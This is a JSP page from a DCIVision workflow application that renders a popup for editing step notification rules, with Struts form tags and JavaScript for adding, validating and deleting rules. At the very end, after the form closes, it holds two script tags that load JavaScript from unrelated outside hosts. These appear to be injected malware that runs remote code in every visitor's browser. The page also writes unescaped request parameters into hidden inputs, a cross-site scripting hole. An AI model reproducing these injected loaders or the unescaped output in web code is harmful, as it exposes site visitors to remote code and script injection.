<%
/*
 * @(#)EditMtmWfStepNotificationRule.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditMtmWfStepNotificationRule.jsp

  This class is reflecting business logic uses.

    @author           Dick xie
    @company          DCIVision Limited
    @creation date    23/11/2004
    @version          $Revision: 1.16.4.8 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintMtmWorkflowProgressNotifyRuleForm" scope="request" class="com.dcivision.workflow.web.MaintMtmWorkflowProgressNotifyRuleForm"/>

<%
  int ruleTotal = 0;
  String notificationRuleListValue = maintMtmWorkflowProgressNotifyRuleForm.getNotificationRuleListValue();
  String[] ruleArr = null;

  if(!Utility.isEmpty(notificationRuleListValue) && !"null".equals(notificationRuleListValue)){
    ruleArr = TextUtility.splitString(notificationRuleListValue,"|");
    ruleTotal = ruleArr.length;
  }

%>

<layout:popupTitle titleKey ="workflow.label.workflow_setup_notification_rule_list"/>
<html:form action="workflow/MaintWorkflowProgressNotificationRule" styleClass="form-style-2">
<html:javascript formName="maintMtmWorkflowProgressNotifyRuleForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='notificationRuleListValue'/>
<html:hidden property='dueDate'/>
<html:hidden property='arrivedDate'/>
<input type="hidden" name="currentStepID" value='<%=request.getParameter("ID")%>'>
<input type="hidden" name="parentStepID" value='<%=request.getParameter("parentStepID")%>'>
<input type="hidden" name="workflowRecordID" value='<%=request.getParameter("workflowRecordID")%>'>
<input type="hidden" name="notificationOwnerListValue" value="">


<script language="javascript">
<!--
	  function CloseOpen(){
	    window.opener.document.maintWorkflowProgressForm.opMode.value="REFESH";
	    for(var j=0;j<window.opener.document.forms.length;j++){
		  if(window.opener.document.forms[j].name!=""){
			fr=window.opener.document.forms[j];
			break;
		  }
	    }
	    window.close();
	    window.opener.document.maintWorkflowProgressForm.submit();
	    return false;
 	}
    //sliever.hu.add
    function popupSetNotifyRuleOwner(idField){
      var height;
      var width;
      var windowName;

      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }

      height = 450;
      width = 700;
      windowName = "DCIVisionPopupSetNotifiyRuleOwner";
      var frmObj = eval('frm.'+idField);

      OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStepNotificationOwner.do?SHOW_HEADER_FOOTER=N&navMode="+frm.navMode.value+"&notificationRuleListValue="+frm.notificationRuleListValue.value+"&formName="+frm.name+"&idField="+idField+"&parentStepID="+frm.parentStepID.value+"&workflowRecordID="+frm.workflowRecordID.value+"&currentStepID="+frm.currentStepID.value, windowName, width, height, "scrollbars=yes");
      return(false);

    }

    function setNotificationOwner(formName,notificationOwnerListValue) {
      frm = eval('document.forms["'+formName+'"]');
      frm.notificationOwnerListValue.value = unescape(notificationOwnerListValue);
      return false;
    }
 -->
</script>
<div class="tabContainer">
<div class="tabContent" style="display:block;height:250px;">

<table width="100%">
  <tr>
    <td colspan="2">&nbsp;<html:img src='Spacer.gif'  width='1' height='10'/></td>
  </tr>
<%if (!GlobalConstant.NAV_MODE_VIEW.equals(maintMtmWorkflowProgressNotifyRuleForm.getNavMode())) {%>
  <!-- Section Header -->
  <layout:sectionHeader name="workflow.label.workflow_progress_reminder_rule" mandatory="false"/>
  <tr>
    <td colspan="2" class="listTable">
      <table width="100%" border="0" cellpadding="0" cellspacing="1">
        <tr>
          <th nowrap><div class="firstSep">
          &nbsp;<bean:message key='workflow.label.trigger_type'/></div></th>
          <th nowrap><div class="sep">
          &nbsp;<bean:message key='workflow.label.trigger_point'/></div></td>
          <th nowrap><div class="sep">
          &nbsp;<bean:message key='workflow.label.notification_by'/></div></th>
          <th nowrap class="columnLabel"><div class="sep"></div></th>
        </tr>

        <tr class="listContent">
        <td class="dataField">&nbsp;
            <html:select property='notifyTrigger' styleClass="form-style-2-auto-pulldown">
              <option value='<%=MtmWfStepNotificationRule.NOTIFY_TRIGGER_TYPE_ARRIVED%>'><bean:message key='workflow.label.notify_task_is_arrived'/></option>
              <option value='<%=MtmWfStepNotificationRule.NOTIFY_TRIGGER_TYPE_PENDING_FOR%>'><bean:message key='workflow.label.notify_task_is_pending'/></option>
              <%if (!Utility.isEmpty(maintMtmWorkflowProgressNotifyRuleForm.getDueDate())) {%>
                <option value='<%=MtmWfStepNotificationRule.NOTIFY_TRIGGER_TYPE_BEFORE_DUE_DATE%>'><bean:message key='workflow.label.before_task_due_date'/></option>
                <option value='<%=MtmWfStepNotificationRule.NOTIFY_TRIGGER_TYPE_OVER_DUE_DATE%>'><bean:message key='workflow.label.notify_task_is_overdue'/></option>
              <%}%>
            </html:select>
          </td>
          <td class="dataField">&nbsp;<html:integer property='notifyAtAmt' maxlength='3' size='3' styleClass="form-style-2-auto-textfield"/>
          <%if (!GlobalConstant.NAV_MODE_VIEW.equals(maintMtmWorkflowProgressNotifyRuleForm.getNavMode())) {%>
           <html:select property='notifyAtField' styleClass="form-style-2-auto-pulldown">
              <option value='<%=Calendar.DATE%>'><bean:message key='workflow.label.days'/></option>
              <option value='<%=Calendar.HOUR%>'><bean:message key='workflow.label.hours'/></option>
              <option value='<%=Calendar.MINUTE%>'><bean:message key='workflow.label.minutes'/></option>
            </html:select>
          <%} else {
          if ((""+Calendar.DATE).equals(maintMtmWorkflowProgressNotifyRuleForm.getNotifyAtField())) { %>
            <bean:message key='workflow.label.days'/>
          <%} if((""+Calendar.HOUR).equals(maintMtmWorkflowProgressNotifyRuleForm.getNotifyAtField())) {%>
             <bean:message key='workflow.label.hours'/>
         <%} if((""+Calendar.MINUTE).equals(maintMtmWorkflowProgressNotifyRuleForm.getNotifyAtField())) {%>
              <bean:message key='workflow.label.minutes'/>
           <%}}%>
          </td>
          <td class="dataField">
            <html:checkbox property='notifyAckMethodByEmail' value='<%=MtmWorkflowProgressPriorityRule.NOTIFY_BY_EMAIL%>' styleClass='form-style-2-checkbox'><bean:message key='alert.label.notification_E'/></html:checkbox>
            <html:checkbox property='notifyAckMethodBySystem' value='<%=MtmWorkflowProgressPriorityRule.NOTIFY_BY_SYSTEM%>' styleClass='form-style-2-checkbox'><bean:message key='alert.label.notification_S'/></html:checkbox>
          </td>
          <td align="center" class="dataField"> <a href="javascript://" onClick="return opAddFields();"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td colspan="2">&nbsp;</td>
  </tr>
  <%}%>
  <tr>
  <layout:sectionHeader name="workflow.label.possible_notify_rule" mandatory="false"/>
 <%
    if (ruleTotal!=0) {
      for (int i=0; i<ruleTotal; i++) {
      %>
  <tr>
    <td width="85%" align="left"><nobr><%=i+1%>:&nbsp;
  
          <%
            String tempRule = ruleArr[i];
            String[] elementArr = TextUtility.splitString(tempRule,",");
          %>
            &nbsp;&nbsp;&nbsp;&nbsp;<!-- Trigger Type A/B -->



           <%if (MtmWfStepNotificationRule.NOTIFY_TRIGGER_TYPE_PENDING_FOR.equals(elementArr[0])){%>
              <bean:message key='workflow.label.workflow_is_pending_for'/>
            <%}else if (MtmWfStepNotificationRule.NOTIFY_TRIGGER_TYPE_ARRIVED.equals(elementArr[0])){%>
              <bean:message key='workflow.label.after_task_arrived'/>
            <%}else if (MtmWfStepNotificationRule.NOTIFY_TRIGGER_TYPE_BEFORE_DUE_DATE.equals(elementArr[0])){%>
              <bean:message key='workflow.label.before_task_due_date'/>
            <%}else if (MtmWfStepNotificationRule.NOTIFY_TRIGGER_TYPE_OVER_DUE_DATE.equals(elementArr[0])){%>
            <bean:message key='workflow.label.task_over_due_date'/>
            <%}%>

            <%=elementArr[1]%>
            <!-- Escalate Field Days/Hours/Minutes -->
            <%if(Calendar.DATE == Integer.parseInt(elementArr[2])) {%>
              <bean:message key='workflow.label.days'/>
            <%}else if (Calendar.HOUR == Integer.parseInt(elementArr[2])){%>
              <bean:message key='workflow.label.hours'/>
            <%}else{%>
              <bean:message key='workflow.label.minutes'/>
            <%}%>

            <!-- Notifition By -->
             <bean:message key='workflow.label.notification_by'/>&nbsp;
            <%
              if(MtmWorkflowProgressPriorityRule.NOTIFY_BY_EMAIL.equals(elementArr[3]) && MtmWorkflowProgressPriorityRule.NOTIFY_BY_SYSTEM.equals(elementArr[4]) ) { %>
               <bean:message key='alert.label.notification_E'/> <bean:message key='workflow.label.workflow_and'/> <bean:message key='alert.label.notification_S'/>
            <%
              }else if(MtmWorkflowProgressPriorityRule.NOTIFY_BY_EMAIL.equals(elementArr[3])  ){%>
              <bean:message key='alert.label.notification_E'/>
            <%}else if(MtmWorkflowProgressPriorityRule.NOTIFY_BY_SYSTEM.equals(elementArr[4]) ){%>
              <bean:message key='alert.label.notification_S'/>
            <%}%>
          </nobr></td>
          <td width="20">
          <nobr><input type="checkbox" name="deleteItem" value="<%=i%>" ><bean:message key="dms.label.field_detail"/>&nbsp;</nobr>
          </td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
    <%}

    }

  %>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>



  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </div>

<div id="bottomButtonArea">
<div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(maintMtmWorkflowProgressNotifyRuleForm.getNavMode())) {%>
      <html:standardButton label="common.label.save" onClick="return custOpConfirm()"/>
    <%} else {
      String url = request.getContextPath()+"/workflow/MaintWorkflowProgressNotificationRule.do?SHOW_HEADER_FOOTER=N&navMode=E&ID=" + maintMtmWorkflowProgressNotifyRuleForm.getID().toString() + "&notificationRuleListValue="+maintMtmWorkflowProgressNotifyRuleForm.getNotificationRuleListValue()+"&dueDate="+(Utility.isEmpty(maintMtmWorkflowProgressNotifyRuleForm.getDueDate())?"":maintMtmWorkflowProgressNotifyRuleForm.getDueDate().toString())+"&arrivedDate="+maintMtmWorkflowProgressNotifyRuleForm.getArrivedDate().toString();
    %>
    <html:standardButton label="common.label.edit" link="<%=url%>"/>
   <%}%>
  	<html:standardButton label="common.label.close" onClick="return CloseOpen()"/>
</div>
</div>

<script language="Javascript">
<!--
function custOpConfirm() {
  var parent = window.opener;
  var notificationRuleListValue = "";
  var frm;
  var checked = false;
   for (var i = 0; i < document.forms.length; i++) {
     if (document.forms[i].name != "") {
       frm = document.forms[i];
        break;
      }
   }
  notificationRuleListValue = frm.notificationRuleListValue.value;
  if(notificationRuleListValue == ""){
    alert("<bean:message key='workflow.label.please_setup_notification_rule'/>");
    return false;
  }

  var tmpRuleArr = notificationRuleListValue.split("|");
  notificationRuleListValue = "";

  var num=0;
  for(var i=0; i<tmpRuleArr.length; i++){
    checked = false;
    if(frm.deleteItem.length){
      for(var j=0; j<frm.deleteItem.length; j++){
        if(i == frm.deleteItem[j].value && frm.deleteItem[j].checked  ){
		      if(frm.deleteItem[j].checked){
		     num=num+1;
		  }
		  checked = true;
          break;
        }
      }
	  }
	  else if(frm.deleteItem.checked){
		  checked = true;
      break;
    }
    if(!checked){
      if(notificationRuleListValue == ""){
        notificationRuleListValue = tmpRuleArr[i];
      }else{
        notificationRuleListValue += "|" + tmpRuleArr[i];
      }
    }
  }


  frm.notificationRuleListValue.value=notificationRuleListValue;
  document.maintMtmWorkflowProgressNotifyRuleForm.opMode.value="<%=GlobalConstant.OP_MODE_INSERT%>";
  frm.submit();
  return(false);
}



function opAddFields() {
  var currentAtTrigger = document.maintMtmWorkflowProgressNotifyRuleForm.notifyTrigger.value;
  var currentAtAmt = document.maintMtmWorkflowProgressNotifyRuleForm.notifyAtAmt.value;
  var currentAtField = document.maintMtmWorkflowProgressNotifyRuleForm.notifyAtField.value;

  var setedTime;
  if(currentAtTrigger=="B"){
    if(document.maintMtmWorkflowProgressNotifyRuleForm.notifyAtAmt.value == ""){
      alert("<bean:message key='workflow.message.trigger_point_is_required'/>");
      document.maintMtmWorkflowProgressNotifyRuleForm.notifyAtAmt.focus();
      return false;
    }
  }
  if(document.maintMtmWorkflowProgressNotifyRuleForm.notifyAtAmt.value==""){
    document.maintMtmWorkflowProgressNotifyRuleForm.notifyAtAmt.value="0";
    currentAtAmt="0";
  }
  if ('<%=Calendar.DATE%>'==currentAtField) {
    setedTime=(parseInt(currentAtAmt))*24*60*60*1000;
  } else if ('<%=Calendar.HOUR%>'==currentAtField) {
    setedTime=(parseInt(currentAtAmt))*60*60*1000;
  } else if ('<%=Calendar.MINUTE%>'==currentAtField) {
    setedTime=(parseInt(currentAtAmt))*60*1000;
  }
  if (document.maintMtmWorkflowProgressNotifyRuleForm.arrivedDate.value != "") {
    var tmpDate = document.maintMtmWorkflowProgressNotifyRuleForm.arrivedDate.value;
    while(tmpDate.indexOf("-") >0 ) {
      tmpDate = tmpDate.replace("-","/");
    }
    if(currentAtTrigger=="A" || currentAtTrigger=="P" || currentAtTrigger=="B" || currentAtTrigger=="O") {
    if ( (new Date()).getTime() > (new Date(tmpDate)).getTime() + parseInt(setedTime) ) {
      alert("<bean:message key='workflow.message.reminder_date_cannot_be_less_than_current_date'/>");
      return false;
    }
   }
   if(currentAtTrigger=="B") {
     var dueDate = document.maintMtmWorkflowProgressNotifyRuleForm.dueDate.value;
     while(dueDate.indexOf("-") >0 ) {
       dueDate = tmpDate.replace("-","/");
     }
    if ((new Date(tmpDate)).getTime() + parseInt(setedTime) > new Date(dueDate).getTime()) {
      alert("<bean:message key='workflow.message.reminder_date_cannot_be_later_than_due_date'/>");
      return false;
    }
   }
  }

  if(document.maintMtmWorkflowProgressNotifyRuleForm.notifyAckMethodByEmail.checked==false && document.maintMtmWorkflowProgressNotifyRuleForm.notifyAckMethodBySystem.checked ==false){
    alert("<bean:message key='workflow.message.notify_at_method_is_required'/>");

    return false;
  }
  //alert(document.maintMtmWorkflowProgressNotifyRuleForm.notificationRuleListValue.value);
  document.maintMtmWorkflowProgressNotifyRuleForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  document.maintMtmWorkflowProgressNotifyRuleForm.submit();
  return(false);
}

-->
</script>
 </html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>